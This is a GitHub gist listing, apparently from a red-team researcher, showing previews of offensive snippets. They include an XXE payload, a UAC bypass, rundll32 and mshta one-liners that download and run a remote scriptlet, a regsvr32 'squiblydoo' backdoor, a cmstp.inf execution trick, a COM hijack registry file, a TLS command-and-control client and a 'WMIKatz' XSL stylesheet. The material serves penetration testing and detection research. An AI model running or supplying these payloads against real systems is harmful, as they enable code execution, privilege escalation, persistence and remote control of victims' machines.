api0cradle’s gists

api0cradle / XXE_payloads

Created August 15, 2017 07:46 — forked from staaldraad/XXE_payloads

XXE Payloads

	--------------------------------------------------------------
	Vanilla, used to verify outbound xxe or blind xxe
	--------------------------------------------------------------

	<?xml version="1.0" ?>
	<!DOCTYPE r [
	<!ELEMENT r ANY >
	<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
	]>
	<r>&sp;</r>

api0cradle / akagi_41.c

Created August 16, 2017 07:14 — forked from hfiref0x/akagi_41.c

UAC bypass using CMSTPLUA COM interface

	typedef interface ICMLuaUtil ICMLuaUtil;

	typedef struct ICMLuaUtilVtbl {

	BEGIN_INTERFACE

	HRESULT(STDMETHODCALLTYPE *QueryInterface)(
	__RPC__in ICMLuaUtil * This,
	__RPC__in REFIID riid,
	_COM_Outptr_ void **ppvObject);

api0cradle / instructions.txt

Created September 3, 2017 11:41 — forked from NickTyrer/instructions.txt

xwizard_sct

	xwizard RunWizard {00000001-0000-0000-0000-0000FEEDACDC}
	verclsid.exe /S /C {00000001-0000-0000-0000-0000FEEDACDC}
	create new folder and rename file.{00000001-0000-0000-0000-0000FEEDACDC}
	rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";o=GetObject("script:https://gist.githubusercontent.com/NickTyrer/0598b60112eaafe6d07789f7964290d5/raw/7717cfad109fc15a6796dd9119b0267f7a4df3fd/power.sct");close();
	mshta javascript:o=GetObject("script:https://gist.githubusercontent.com/NickTyrer/0598b60112eaafe6d07789f7964290d5/raw/7717cfad109fc15a6796dd9119b0267f7a4df3fd/power.sct");o.Exec();close();

api0cradle / Backdoor-Minimalist.sct

Last active April 30, 2021 13:07

Execute Remote Scripts Via regsvr32.exe - Referred to As "squiblydoo" Please use this reference...

	<?XML version="1.0"?>
	<scriptlet>
	<registration
	progid="PoC"
	classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
	<!-- Proof Of Concept - Casey Smith @subTee -->
	<!-- License: BSD3-Clause -->
	<script language="JScript">
	<![CDATA[

api0cradle / gist:7c774561d50dc50b67e072f49605f235

Created November 3, 2017 07:23 — forked from trustedsec/gist:686057a1b8cdf3e580c57b211b263abe

List of applications for code execution via legit binaries

api0cradle / cmstp.inf

Created January 30, 2018 21:55 — forked from NickTyrer/cmstp.inf

	;cmstp.exe cmstp.inf

	[version]
	Signature=$chicago$
	AdvancedINF=2.5

	[DefaultInstall_SingleUser]
	UnRegisterOCXs=UnRegisterOCXSection

	[UnRegisterOCXSection]

api0cradle / powersct.sct

Created January 30, 2018 22:05 — forked from NickTyrer/powersct.sct

api0cradle / winlogon.reg

Created February 11, 2018 21:17 — forked from anonymous/winlogon.reg

WinLogon Windows 7 x64 COM Hijack

	Windows Registry Editor Version 5.00
	[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam.1.00]
	@="AtomicRedTeam"
	[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam.1.00\CLSID]
	@="{00000001-0000-0000-0000-0000FEEDACDC}"
	[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam]
	@="AtomicRedTeam"
	[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam\CLSID]
	@="{00000001-0000-0000-0000-0000FEEDACDC}"
	[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}]

api0cradle / client.ps1

Created April 23, 2018 21:23

TLS C2

	function Get-PublicKey
	{
	[OutputType([byte[]])]
	PARAM (
	[Uri]$Uri
	)

	if (-Not ($uri.Scheme -eq "https"))
	{
	Write-Error "You can only get keys for https addresses"

api0cradle / gist:91c9262a8697da87ea10bfee8a5f05c5

Created April 30, 2018 08:22

WMIKatz - Are you afraid

	<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:vb="urn:the-xml-files:xslt-vb" xmlns:user="placeholder" version="1.0">
	<!-- Copyright (c) Microsoft Corporation. All rights reserved. -->

	<xsl:output method="text" omit-xml-declaration="yes" indent="no"/>
	<xsl:strip-space elements="*" />

	<ms:script implements-prefix="user" language="JScript">
	<![CDATA[

Oddvar Moe api0cradle